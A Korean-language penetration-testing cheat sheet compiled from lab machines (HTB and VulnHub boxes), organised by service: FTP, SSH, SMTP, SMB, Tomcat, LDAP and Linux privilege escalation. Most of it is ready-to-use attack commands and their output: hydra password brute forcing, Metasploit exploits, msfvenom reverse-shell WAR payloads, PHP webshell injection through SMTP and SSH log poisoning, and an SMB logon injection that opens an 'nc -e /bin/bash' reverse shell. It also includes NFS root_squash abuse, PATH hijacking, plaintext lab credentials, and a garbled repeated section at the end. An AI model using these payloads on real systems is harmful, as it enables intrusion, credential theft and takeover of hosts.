지금까지 풀었던 문제들을 기반으로
서비스별 주요 공략법과 필수 명령어,
키워드 등을 정리해 두었다.
(계속 업데이트 예정)
takudaddy's cheatsheets : v.01
Ubuntu 16.04 의 다음 Kernel 들은
4.4.0-31-generic
4.4.0-62-generic
4.4.0-81-generic
4.4.0-116-generic
4.8.0-58-generic
4.10.0.42-generic
4.13.0-21-generic
45010.c 파일로 루트 획득이 가능하다.
############################################################
* 커맨드 출력 결과 저장
############################################################
# script -a -c "nmap 192.168.10.1" nmap1.result
# vi ~/.zshrc 에
alias s='script -a'
로 저장해 둔다.
############################################################
* SCANNINIG
############################################################
# dirb http://IP
# dirb http://IP /usr/share/wordlists/dirb.common.txt -X .txt,.html,.php
# wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://IP/Fuzz
# wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 --hw 12 http://IP/index.php?Fuzz
$ gobuster dir -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://10.11.1.133 -x asp,php,html,txt -t 64
# gobuster dir -u http://192.168.10.22:7331 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
$ gobuster dir -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://10.11.1.133 -x asp,php,html,txt -t 64
# gobuster dir -u http://192.168.10.22:7331 -w /usr/share/wordlists/dirb/small.txt -x sh,pl
┌──(root💀takudaddy)-[/htb/shocker]
└─# gobuster dir -u http://10.10.10.56/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -x sh,pl
# gobuster dir -f -t 50 -x html -u http://192.168.10.22/cgi-bin -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
/etc/hosts 로 dns 등록하는 것 습관화 시키고
웹 단어 스캔
# cewl -m 5 http://joker/joomla/ > dic-words.txt
# cewl www.megaco.com -m 6 -w wordlist.txt
john the ripper
/etc/john/john.conf
# john --wordlist=list.txt --rules --stdout > johnresult.txt
#################################################################
* FTP(21) / telnet(23) / proftpd 1.3.5
#################################################################
1. FTP 사용법 & 명령어 : BOF / FormatstringAttack 가능
# ftp 192.168.10.4
anonymous : nopassword
ftp> bin
ftp> hash
ftp > prompt
ftp> ls
ftp> lcd /root/cheat # 홈 경로
ftp> put file.txt # 파일 올릴때
ftp> get file.txt # 파일 받을때
1-1. FTP password brute force
# hydra -f -l aeolus -p /usr/share/wordlists/rockyou.txt 172.14.4.3 ftp
ftp 안되면 ssh로 시도
2. telnet 사용법 & 명령어 :
# telnet 192.168.10.4 21
> site cpfr /home/patrick/version_contol
> site cpto /home/ftp/upload/version_control
3. Proftpd 1.3.5 사용법 : 상대 서버로 침투용
# msfconsole -q
msf> use exploit/unix/ftp/proftpd_modcopy_exec
msf> set payload cmd/unix/reverse_python
msf> set RHOSTS 192.168.10.11 (RPORT 기본 값 80 / RPORT_FTP 기본 값 21 : 그대로 쓰면 됨)
msf> set LHOST 192.168.10.4 (LPORT 4444 기본 값 : 그냥 쓰면 됨)
msf> set SITEPATH /var/www/tryingharderisjoy
msf> exploit
4. 접속 후 주요 명령어 :
$ python -c 'import pty;pty.spawn("/bin/bash")'
$ sudo /bin/bash
$ sudo -l
$ export TERM=vt100
$ export TERM=xterm-256color
5.Shell code :
$ find / -perm -u=s -type f -exec ls -al {} \; 2>/dev/null
$ find / -perm -g=s -type f -exec ls -l {} \; 2>/dev/null
으로 suid sgid 권한 찾은 후
/bin/bash 사용 가능하면
$ /bin/bash -p
# 루트 전환 됨
-bash-5.0$ cp ip ip.orig
-bash-5.0$ ls -l
total 8
-rwxr-xr-x 1 oscp oscp 90 Apr 9 20:22 ip
-rwxr-xr-x 1 oscp oscp 90 Apr 9 20:45 ip.orig
-bash-5.0$ vi ip
-bash-5.0$ cat ip.orig
#!/bin/sh
cp /etc/issue-standard /etc/issue
/usr/local/bin/get-ip-address >> /etc/issue
-bash-5.0$ cat ip
#!/bin/sh
cp /root/flag.txt /home/oscp/flag.txt
chown oscp:oscp /home/oscp/flag.txt
# echo "awk 'BEGIN {system(\"/bin/bash\")}'" > attack
타켓 서버에 올려두고 실행시키면 됨
$ mawk 'BEGIN {system("/bin/sh")}'
ted@Toppo:~$ mawk 'BEGIN {system("cat /root/flag.txt")}'
##############################################################################
* SSH(22) / SSH-KEY + NFS / mysql(3306), postgresql(5432)
##############################################################################
0. ssh 포트 열려있는 경우
- 아이디를 알아내 hydra로 brute force 시도!
# hydra -f -l aeolus -P /usr/share/wordlists/rockyou.txt 172.14.4.3 ssh
(ssh로 안되면 ftp로 시도해라!)
하이드라 다른 포트 지정할때 -s 옵션 사용
# hydra -l RickSanchez -P pass.list ssh://192.168.10.34 -s 22222
- 암호 찾아지면 ssh로 로그인 시도하기!
1. ssh 사용법 : 사용자와 비번을 알고 있는 경우
# ssh username@192.168.10.8
포트포워딩
1-2 ssh 터널링 (상대편 서버에서만 공개된 포트로 붙이고 싶을때)
# ssh -L 7979:127.0.0.1:8080 aeolus@192.168.20.8
-L (address 옵션)을 주고 우리포트:상대IP:대상포트
┌──(root💀takudaddy)-[/attack]
└─# ssh -L 7979:127.0.0.1:8080 aeolus@192.168.20.8 1 ⚙
aeolus@192.168.20.8's password:
bind [127.0.0.1]:8080: Address already in use
Linux symfonos2 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1+deb9u3 (2019-06-16) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Sat Mar 27 10:35:23 2021 from 192.168.20.1
aeolus@symfonos2:~$
2. ssh-key 생성 후 복사 가능한 상황에서 로그인
# ssh-keygen
# ls /root/.ssh
# cat /root/.ssh/id_rsa.pub
해당 키를 상대편 자원에 복사
# su vulnix
# cd /mnt/vulnix
# mkdir -p .ssh
# cd .ssh
# echo "copied id_rsa.pub key" > authorizevd_keys
# ssh -i /root/.ssh/id_rsa vulnix@192.168.20.5
2-1 ssh pub key -> base 64 로 인코딩
# ssh -i base64키 n30@192.168.20.11
┌──(root💀takudaddy)-[/study]
└─# cat mykey.pub
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApC39uhie9gZahjiiMo+k8DOqKLujcZMN1bESzSLT8H5jRGj8n1FFqjJw27Nu5JYTI73Szhg/uoeMOfECHNzGj7GtoMqwh38clgVjQ7Qzb47/kguAeWMUcUHrCBz9KsN+7eNTb5cfu0O0QgY+DoLxuwfVufRVNcvaNyo0VS1dAJWgDnskJJRD+46RlkUyVNhwegA0QRj9Salmpssp+z5wq7KBPL1S982QwkdhyvKg3dMy29j/C5sIIqM/mlqilhuidwo1ozjQlU2+yAVo5XrWDo0qVzzxsnTxB5JAfF7ifoDZp2yczZg+ZavtmfItQt1Vac1vSuBPCpTqkjE/4Iklgw== root@targetcluster
┌──(root💀takudaddy)-[/study]
└─# wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/5622.tar.bz2
--2021-04-09 00:06:57-- https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/5622.tar.bz2
Resolving github.com (github.com)... 52.78.231.108
Connecting to github.com (github.com)|52.78.231.108|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/offensive-security/exploitdb-bin-sploits/master/bin-sploits/5622.tar.bz2 [following]
--2021-04-09 00:06:57-- https://raw.githubusercontent.com/offensive-security/exploitdb-bin-sploits/master/bin-sploits/5622.tar.bz2
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.110.133, 185.199.108.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 50226987 (48M) [application/octet-stream]
Saving to: ‘5622.tar.bz2’
5622.tar.bz2 100%[===============================================>] 47.90M 10.9MB/s in 4.6s
2021-04-09 00:07:04 (10.4 MB/s) - ‘5622.tar.bz2’ saved [50226987/50226987]
┌──(root💀takudaddy)-[/study]
└─# tar -xvf 5622.tar.bz2
┌──(root💀takudaddy)-[/study]
└─# cd rsa
┌──(root💀takudaddy)-[/study/rsa]
└─# ls
2048
┌──(root💀takudaddy)-[/study/rsa]
└─# cd 2048
┌──(root💀takudaddy)-[/study/rsa/2048]
└─# grep -r -l AAAAB3NzaC1yc2EAAAABIwAAAQEApC39uhie9gZahjiiMo+k8DOqKLujcZMN1bESzSLT8H5jRGj8n1FFqjJw27Nu5JYTI73Szhg/uoeMOfECHNzGj7GtoMqwh38clgVjQ7Qzb47/kguAeWMUcUHrCBz9KsN+7eNTb5cfu0O0QgY+DoLxuwfVufRVNcvaNyo0VS1dAJWgDnskJJRD+46RlkUyVNhwegA0QRj9Salmpssp+z5wq7KBPL1S982QwkdhyvKg3dMy29j/C5sIIqM/mlqilhuidwo1ozjQlU2+yAVo5XrWDo0qVzzxsnTxB5JAfF7ifoDZp2yczZg+ZavtmfItQt1Vac1vSuBPCpTqkjE/4Iklgw==
4161de56829de2fe64b9055711f531c1-2537.pub
┌──(root💀takudaddy)-[/study/rsa/2048]
└─# ssh -i 4161de56829de2fe64b9055711f531c1-2537 n30@192.168.20.11
Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-20-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Last login: Tue Aug 14 13:29:20 2018 from 192.168.209.1
n30@W34KN3SS:~$ id
3. postgresql : 유저 암호를 알아야 함
# ssh webmin@192.168.10.6 -L 5432:localhost:5432 (-L=localhost)
3-2) ID와 암호를 모르는 경우, 스캔작업
# msfconsole -q
> use auxiliary/scanner/postgres/postgres_login
> set RHOSTS 127.0.0.1
> exploit
> ID / PASS를 얻을 수 있다.
3-3) pg_dumpall 사용법 : 위에서 ID와 PW를 찾은 상황
# PGPASSWORD="postgres" pg_dumpall -U postgres -h localhost -p 5432
> 사용자 ID와 비번을 얻을 수 있다.
상대방 서버 접속 후
LinuxPrivEnum.sh 복사해서 툴 돌리기
# nc -lvp 7979 < LinuxPrivEnum.sh
$ nc -nv 192.168.10.4 7979 > enum.sh
주요 명령어 :
$ python -c 'import pty;pty.spawn("/bin/bash")'
$ sudo /bin/bash
$ sudo -l
$ export TERM=vt100
$ export TERM=xterm-256color
4. openssh
LFI가 가능한 경우
/etc/passwd가 안 읽히면
/var/log/auth 를 읽어
openssh 열려있는지 확인
있으면 ssh log poisoning 공격 가능
# ssh '<?php system($_GET['cmd'])'; ?>'@192.168.10.22
#############################################################################
* SMTP(25) / Finger(79) / rcpBind(111) / NFS(111/2049)+SSH /pop3
#############################################################################
0.보안 이슈
* SMTP : expn(expansion) / vrfy 명령어로 계정 존재 유무 파악 가능
* Finger : 사용자 정보 확인 서비스 / 비인가자에게 사용자 계정 정보가 제공됨. 브루트포스 패스워드어택 가능
* rpcBind : 포트를 Remote Procedure Call에 등록해 놓고 클라이언트가 rpc에 포트 할당 요청, 할당된 포트를 자신에게 필요한 서비스로 연결하는 프로토
* NSF : 다른 컴퓨터의 파일 시스템을 자신의 로컬 시스템에 마운트 후 사용
1. SMTP 유저 스캔 : 찾은 리스트는 파일로 저장
1-1.
# msfconsole -q
> search auxiliary/scanner/smtp
> use auxiliary/scanner/smtp/smtp_enum
> set RHOST 192.168.20.5
> set THREADS 10
> exploit
1-2.
# smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t 192.168.20.5
SMTP 25번이 열려 있으면 telnet으로 접속 가능!
1-3. telnet에 25번 포트 지정. postfix 메일 전송 프로그램임
# telnet 192.168.10.20 25
┌──(root💀takudaddy)-[~]
└─# telnet 192.168.10.20 25
Trying 192.168.10.20...
Connected to 192.168.10.20.
Escape character is '^]'.
220 symfonos.localdomain ESMTP Postfix (Debian/GNU)
MAIL FROM: <takudaddy>
250 2.1.0 Ok
RCPT TO: <helios>
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
<?php system($_GET['cmd']); ?>
.
250 2.0.0 Ok: queued as 8DA9040B89
1-4 pop3
# hydra -L username -P /usr/share/wordlists/fasttrack.txt -t20 192.168.56.103 -s55007 -I pop3
┌──(root💀takudaddy)-[/attack]
└─# hydra -l boris -P /usr/share/wordlists/fasttrack.txt pop3://192.168.20.12 -s 55007 1 ⚙
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-04-09 13:32:31
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 222 login tries (l:1/p:222), ~14 tries per task
[DATA] attacking pop3://192.168.20.12:55007/
[STATUS] 80.00 tries/min, 80 tries in 00:01h, 142 to do in 00:02h, 16 active
[STATUS] 64.00 tries/min, 128 tries in 00:02h, 94 to do in 00:02h, 16 active
[55007][pop3] host: 192.168.20.12 login: boris password: secret1!
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-04-09 13:35:20
# telnet 192.168.20.12 55007
or
# nc 192.168.20.12 55007
┌──(root💀takudaddy)-[/study]
└─# nc 192.168.20.12 55007 1 ⨯
+OK GoldenEye POP3 Electronic-Mail System
USER boris
+OK
PASS secret1!
+OK Logged in.
RETR 1
+OK 544 octets
Return-Path: <root@127.0.0.1.goldeneye>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from ok (localhost [127.0.0.1])
by ubuntu (Postfix) with SMTP id D9E47454B1
for <boris>; Tue, 2 Apr 1990 19:22:14 -0700 (PDT)
Message-Id: <20180425022326.D9E47454B1@ubuntu>
Date: Tue, 2 Apr 1990 19:22:14 -0700 (PDT)
From: root@127.0.0.1.goldeneye
Boris, this is admin. You can electronically communicate to co-workers and students here. I'm not going to scan emails for security risks because I trust you and the other admins here.
.
RETR 2
............
RETR 3
2. Finger 유저 스캔 : 찾은 리스트는 파일로 저장
# msfconsole -q
> search auxiliary/scanner/finger
> use auxiliary/scanner/finger/finger_users
> set RHOSTS 192.168.20.5
> exploit
3. 찾은 유저 리스트로 finger 접속 :
# finger user@192.168.20.5
or
# git clone https://github.com/Kan1shka9/Finger-User-Enumeration.git
# cd /root/Finger-User_Enumeration
# ./finger_user.sh users.txt
4. rpcinfo -p 192.168.20.5 (nmap으로 검색가능)
5. NFS :
활성화 여부 확인 및 공유 중인 디렉터리 확인 방법
# nmap -sU -sT 192.168.20.5 -p 2049
# showmount -e 192.168.20.5
로컬 서버에 마운트 방법
# mkdir /mnt/remote
# mount -t nfs 192.168.20.5:/home/vulnix /mnt/remote
# df 로 확인
혹 권한이 없어서 못 들어갈 수 있음
사용자 이름을 알고 있는 상황이라면 브루트포스로 암호를 얻고
타킷서버에서 /etc/passwd 유저의 UID GID 값 확인
로컬서버에서 동일한 값을 가진 유저 생성
# useradd -u 2008 vulnix : 해당 유저로 전환 후 마운트 자원에 접근하면 됨
윈도우 마운트
$ sudo mkdir /mnt/win10_share
$ sudo mount -t cifs -o port=4455 //192.168.160.10/Data -o username=Administrator,password=lab /mnt/win10_share
$ ls -l /mnt/win10_share
접근 후 ssh 키 생성해 넣어주기
# ssh-keygen
# ls /root/.ssh
# cat /root/.ssh/id_rsa.pub
해당 키를 상대편 자원에 복사
# su vulnix
# cd /mnt/vulnix
# mkdir -p .ssh
# cd .ssh
# echo "copied id_rsa.pub key" > authorized_keys
이 후 ssh로 로그인
# ssh -i /root/.ssh/id_rsa vulnix@192.168.20.5
# ssh vulnix@192.168.20.5)
접속 후 주요 명령어 :
python -c 'import pty;pty.spawn("/bin/bash")'
sudo /bin/bash
sudo -l
5-1. NFS 설정 파일 접근 가능한 경우 :
/home/vulnix *(rw,no_root_squash) : root_squash는 권한 상승을 무효화 시키는 기술 : no_root로 변경
and 혹시 모르니
/root *(rw,no_root_squash) 추가 : 재부팅 해야 적용됨
5-2. 로컬에서 언마운트 후 리마운트, 사용자 전환 후 /bin/bash 복사
# umount /mnt/remote
# df
# mount -t nfs 192.168.20.5:/home/vulnix /mnt/remote
# su vulnix
# cp /bin/bash remote
$ chmod 4777 bash
타깃에 접속 후 해당 파일 실행
$ ./bash -p : 커널 버전이 안맞으면 실행 안됨
5-3. 커널 비트 확인 :
# getconf LONG_BIT
64비트 프로그램을 32비트로 컴파일 하는 법 :
# apt-get install -y gcc-multilib 설치 후
gcc로 컴파일 중 -m32 옵션을 넣어준다.
# gcc -o root32 root.c -m32
해당 파일에 setuid를 걸어주고
# chmod 4777 root32
침투 서버에서 실행해 주면!! 안될 수 있음
5-4. /root 마운트 활용
# mount -t nfs 192.168.20.5:/root /mnt/remote
# cd /mnt/remote
들어가지면 루트로 들어가게 된거라 끝이지만 추가 작업을 원할 경우 아래 절차 실행
# mkdir .ssh
# cp /root/.ssh/id_rsa.pub authorized_keys
# ssh root@192.168.20.5
접속 후 주요 명령어 :
$ python -c 'import pty;pty.spawn("/bin/bash")'
$ sudo /bin/bash
$ sudo -l
$ export TERM=vt100
$ export TERM=xterm-256color
53 번 포트 도메인 포트
# nslookup
> server 10.10.10.3
> 10.10.10.3
네임서버명이 뜬다.
> cronos.htb (역으로 확인가능)
┌──(root💀takudaddy)-[/htb/c]
└─# nslookup 1 ⨯
> server 10.10.10.13
Default server: 10.10.10.13
Address: 10.10.10.13#53
>
> 10.10.10.13
13.10.10.10.in-addr.arpa name = ns1.cronos.htb.
>
> cronos.htb
Server: 10.10.10.13
Address: 10.10.10.13#53
Name: cronos.htb
Address: 10.10.10.13
>
추가 검색
┌──(root💀takudaddy)-[/htb/c]
└─# dig axfr @10.10.10.13 cronos.htb
; <<>> DiG 9.16.11-Debian <<>> axfr @10.10.10.13 cronos.htb
; (1 server found)
;; global options: +cmd
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb. 604800 IN NS ns1.cronos.htb.
cronos.htb. 604800 IN A 10.10.10.13
admin.cronos.htb. 604800 IN A 10.10.10.13
ns1.cronos.htb. 604800 IN A 10.10.10.13
www.cronos.htb. 604800 IN A 10.10.10.13
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 212 msec
;; SERVER: 10.10.10.13#53(10.10.10.13)
;; WHEN: Tue Apr 20 20:56:09 KST 2021
;; XFR size: 7 records (messages 1, bytes 203)
######################################################################
* smb(139/445) / knocking / tomcat
######################################################################
1. smb
# smbmap -H 192.168.20.8
# smclient -L //192.168.20.8 (기본 스캔 가능) # smclient -L 192.168.20.8
┌──(root💀takudaddy)-[/attack]
└─# smbclient -L //192.168.20.8
Enter WORKGROUP\root's password:
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
anonymous Disk
IPC$ IPC IPC Service (Samba 4.5.16-Debian)
SMB1 disabled -- no workgroup available
scanning tools : enum4linux
# enum4linux -a 192.168.10.10
# enum4linux -S 192.168.10.10
> 출력 결과 잘 봐야함
==========================================
| Share Enumeration on 192.168.10.14 |
==========================================
Sharename Type Comment
--------- ---- -------
anonymous Disk
secured Disk
IPC$ IPC IPC Service (Samba Server 4.7.1)
SMB1 disabled -- no workgroup available
[+] Attempting to map shares on 192.168.10.14
//192.168.10.14/anonymous Mapping: OK, Listing: OK
//192.168.10.14/secured Mapping: DENIED, Listing: N/A
2. smbclient 사용법 & 명령어 :
┌──(root💀takudaddy)-[/study]
└─# smbclient //192.168.10.47/Notes
Enter WORKGROUP\root's password:
Try "help" to get a list of possible commands.
smb: \>
# smbclient //192.168.10.9/qiu -U user
# smbclient \\\\192.168.10.9\\qiu -U user
# smbclient -N \\\\192.168.20.8\\anonymous
> 유저 암호 입력해야 함
smb> ls
smb> cd directory
smb> get file.txt # 파일 받기
smb> exit
# smbclient //10.10.10.3/tmp
smb > ls
logon 명령어를 쓸 수 있으면
smb > logon "./=`nohup nc -e /bin/bash 10.10.14.13 7979`"
3. knocking 명령어 (포트 오픈 - 시퀀스 번호 알아야 함) :
# knock 192.168.10.9 444 777 9999
config 파일 경로 : /etc/knockd.conf
nmap으로 knocking은
┌──(root💀takudaddy)-[/study]
└─# nmap -r -Pn 192.168.10.45 -p 1,2,3
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-12 13:35 KST
Nmap scan report for 192.168.10.45
Host is up (0.00026s latency).
PORT STATE SERVICE
1/tcp filtered tcpmux
2/tcp filtered compressnet
3/tcp filtered compressnet
MAC Address: 08:00:27:A6:87:0F (Oracle VirtualBox virtual NIC)
-r: Scan ports consecutively - don't randomize
-Pn: Treat all hosts as online -- skip host discovery
-p1,2,3: Scan against ports 1,2 and 3
한 뒤 -p- 로 검색
(knocking 프로그램이 없는 상황일 때는)
# nmap -r -Pn 10.10.10.43 -p 571,290,911
혹은
# for i in 571 290 911; do nmap -Pn -p $i --host timeout 201 --max-retries 0 10.10.10.43; done
4. tomcat
페이로드 payload 만들기 (어떤 형식의 파일을 업로드 할 수 있는지 확인하기 -> 보통 WAR 파일)
# msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.110.4 LPORT=7979 -f war > attack.war
리스너는 nc 혹은 msfconsole
┌──(root💀takudaddy)-[/study]
└─# msfconsole -q 1 ⨯ 2 ⚙
msf6 > use /multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload java/jsp_shell_reverse_tcp
payload => java/jsp_shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.110.4
LHOST => 192.168.110.4
msf6 exploit(multi/handler) > set LPORT 7979
LPORT => 7979
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.110.4:7979
[*] Command shell session 1 opened (192.168.110.4:7979 -> 192.168.110.140:60200) at 2021-04-06 11:49:56 +0900
id
uid=104(tomcat6) gid=112(tomcat6) groups=112(tomcat6)
python -c 'import pty;pty.spawn("/bin/bash")'
tomcat6@Breach:/var/lib/tomcat6$ whoami
whoami
tomcat6
tomcat6@Breach:/var/lib/tomcat6$
msfconsole 사용법 : '아이디와 비번 알고 있을 때'
payload 만들기
# msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.10.10 LPORT=7979 -f war > shell.war
# msfconsole -q
msf> use exploit/multi/http/tomcat_mgr_upload
msf> set payload java/meterpreter/reverse_tcp (기본 값)
msf> set HttpPassword thisispassword
msf> set HttpUsername takudaddy
msf> set RHOSTS 192.168.10.9
msf> set RPORT 8080 (톰캣 포트 : 보통 8080)
msf> exploit
meterpreter > shell
접속 후 주요 명령어 :
$ python -c 'import pty;pty.spawn("/bin/bash")'
$ sudo /bin/bash
$ sudo -l
$ export TERM=vt100
$ export TERM=xterm-256color
6. tomcat 페이로드 + 리스너 생성 : '파일 올릴 수 있을 때'
# msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.10.4 LPORT=7979 -f war > attack.war
리스너 생성 방법 두 가지
# nc -lvp 7979
or
# msfconsole -q
> use exploit/multi/handler
> set payload java/meterpreter/reverse_tcp
> set LHOST 192.168.10.4
> set LPORT 7979
> exploit
: 파일 업로드 후 실행시키면 자동 연결 됨
meterpreter > shell
접속 후 주요 명령어 :
$ python -c 'import pty;pty.spawn("/bin/bash")'
$ sudo /bin/bash
$ sudo -l
$ export TERM=vt100
$ export TERM=xterm-256color
########################################################
* LDAP(389) / LDAPSSL(636)
#################################################################
# nmap 192.168.10.26 -p 389 --script ldap-search --script-args 'ldap.username="cn=admin,dc=symfonos,dc=local",ldap.password="qMDdyZh3cT6eeAWD"'
┌──(root💀takudaddy)-[/attack]
└─# nmap 192.168.10.26 -p 389 --script ldap-search --script-args 'ldap.username="cn=admin,dc=symfonos,dc=local",ldap.password="qMDdyZh3cT6eeAWD"'
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-29 21:00 KST
Nmap scan report for 192.168.10.26
Host is up (0.00021s latency).
PORT STATE SERVICE
389/tcp open ldap
| ldap-search:
| Context: dc=symfonos,dc=local
| dn: dc=symfonos,dc=local
| objectClass: top
| objectClass: dcObject
| objectClass: organization
| o: symfonos
| dc: symfonos
| dn: cn=admin,dc=symfonos,dc=local
| objectClass: simpleSecurityObject
| objectClass: organizationalRole
| cn: admin
| description: LDAP administrator
| userPassword: {SSHA}UWYxvuhA0bWsjfr2bhtxQbapr9eSgKVm
| dn: uid=zeus,dc=symfonos,dc=local
| uid: zeus
| cn: zeus
| sn: 3
| objectClass: top
| objectClass: posixAccount
| objectClass: inetOrgPerson
| loginShell: /bin/bash
| homeDirectory: /home/zeus
| uidNumber: 14583102
| gidNumber: 14564100
| userPassword: cetkKf4wCuHC9FET
| mail: zeus@symfonos.local
|_ gecos: Zeus User
MAC Address: 08:00:27:15:47:4A (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.20 seconds
########################################################################
* Privilege Escalation
########################################################################
sudo -l
에 nmap 쓸 수 있으면
$ sudo nmap --interactive
mmap> !sh
id
root
0. 침투 후 바로 확인할 내용
# 기본 쉘을 뭘 쓰고 있는지 확인
# echo $0
# echo $SHELL
후에 권한 쉘 대입해 권한 상승 시킬때
쉘 종류 안 맞으면 상승 안됨
1. tmp 폴더로 이동후 curl 파일생성 + /bin/bash로 내용 채우기
<h3l105/wp-content/plugins/mail-masta/inc/campaign$ cd /tmp
cd /tmp
helios@symfonos:/tmp$ touch curl
touch curl
helios@symfonos:/tmp$ echo "/bin/sh" > curl
echo "/bin/sh" > curl (/bin/bash는 권한 상승 안됨)
helios@symfonos:/tmp$ ls
ls
curl
helios@symfonos:/tmp$ cat curl
cat curl
/bin/sh
2. setuid 비트 설정
helios@symfonos:/tmp$ ls -al
ls -al
total 12
drwxrwxrwt 2 root root 4096 Mar 26 10:49 .
drwxr-xr-x 22 root root 4096 Jun 28 2019 ..
-rw-r--r-- 1 helios helios 10 Mar 26 10:49 curl
helios@symfonos:/tmp$ chmod 4777 curl
chmod 4777 curl
helios@symfonos:/tmp$ ls -al
ls -al
total 12
drwxrwxrwt 2 root root 4096 Mar 26 10:49 .
drwxr-xr-x 22 root root 4096 Jun 28 2019 ..
-rwsrwxrwx 1 helios helios 10 Mar 26 10:49 curl
3. 환경변수에 /tmp폴더 등록
helios@symfonos:/tmp$ echo $PATH
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
helios@symfonos:/tmp$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
helios@symfonos:/tmp$ echo $PATH
echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# find / -perm -u=s -type f 2>/dev/null
(# find / -perm -4000 2>/dev/null)
$ find . -type d
$ find / -writable -type d 2>/dev/null
$ find / -perm -222 -type d 2>/dev/null
# opt 폴더 체크
# 침투 서버 파일 로컬로 가지고 올 때
# scp -P 22222 Summer@192.168.10.34:journal.txt.zip /study
┌──(root💀takudaddy)-[/study]
└─# scp -P 22222 Summer@192.168.10.34:journal.txt.zip .
Summer@192.168.10.34's password:
journal.txt.zip 100% 414 1.1MB/s 00:00
┌──(root💀takudaddy)-[/study]
└─#
침투 서버 : python3 -m http.server 4444 로 포트 열어주고 (python -m SimpleHTTPServer 4444)
공격 서버 : wget http://침투서버IP:4444/file
(꼭 /var/www/html에 안올려도 되고 경로 입력 없이 파일명만 써도 받아지더라) - 안될때도 있음
1. /opt 폴더에 있는 파일 받는 실험 : 현재 경로는 /tmp
포트 오픈
helios@symfonos:/tmp$ python -m SimpleHTTPServer 7979
python -m SimpleHTTPServer 7979
Serving HTTP on 0.0.0.0 port 7979 ...
2. 대상 서버 자원 경로 지정 없이 파일명만 입력.
┌──(root💀takudaddy)-[/attack]
└─# wget http://192.168.10.20:4444/statuscheck
--2021-03-27 00:42:22-- http://192.168.10.20:4444/statuscheck
Connecting to 192.168.10.20:4444... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8640 (8.4K) [application/octet-stream]
Saving to: ‘statuscheck.1’
statuscheck.1 100%[================>] 8.44K --.-KB/s in 0s
2021-03-27 00:42:22 (367 MB/s) - ‘statuscheck.1’ saved [8640/8640]
정상적으로 받아졌고 정상적으로 돌아감
no tty
> bash
> python -c 'import pty................
해주면 해결됨 1 helios helios 10 Mar 26 10:49 curl
3. 환경변수에 /tmp폴더 등록
helios@symfonos:/tmp$ echo $PATH
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
helios@symfonos:/tmp$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
helios@symfonos:/tmp$ echo $PATH
echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# find / -perm -u=s -type f 2>/dev/null
(# find / -perm -4000 2>/dev/null)
$ find . -type d
$ find / -writable -type d 2>/dev/null
# opt 폴더 체크
# 침투 서버 파일 로컬로 가지고 올 때
침투 서버 : python3 -m http.server 4444 로 포트 열어주고 (python -m SimpleHTTPServer 4444)
공격 서버 : wget http://침투서버IP:4444/file
(꼭 /var/www/html에 안올려도 되고 경로 입력 없이 파일명만 써도 받아지더라) - 안될때도 있음
1. /opt 폴더에 있는 파일 받는 실험 : 현재 경로는 /tmp
포트 오픈
helios@symfonos:/tmp$ python -m SimpleHTTPServer 7979
python -m SimpleHTTPServer 7979
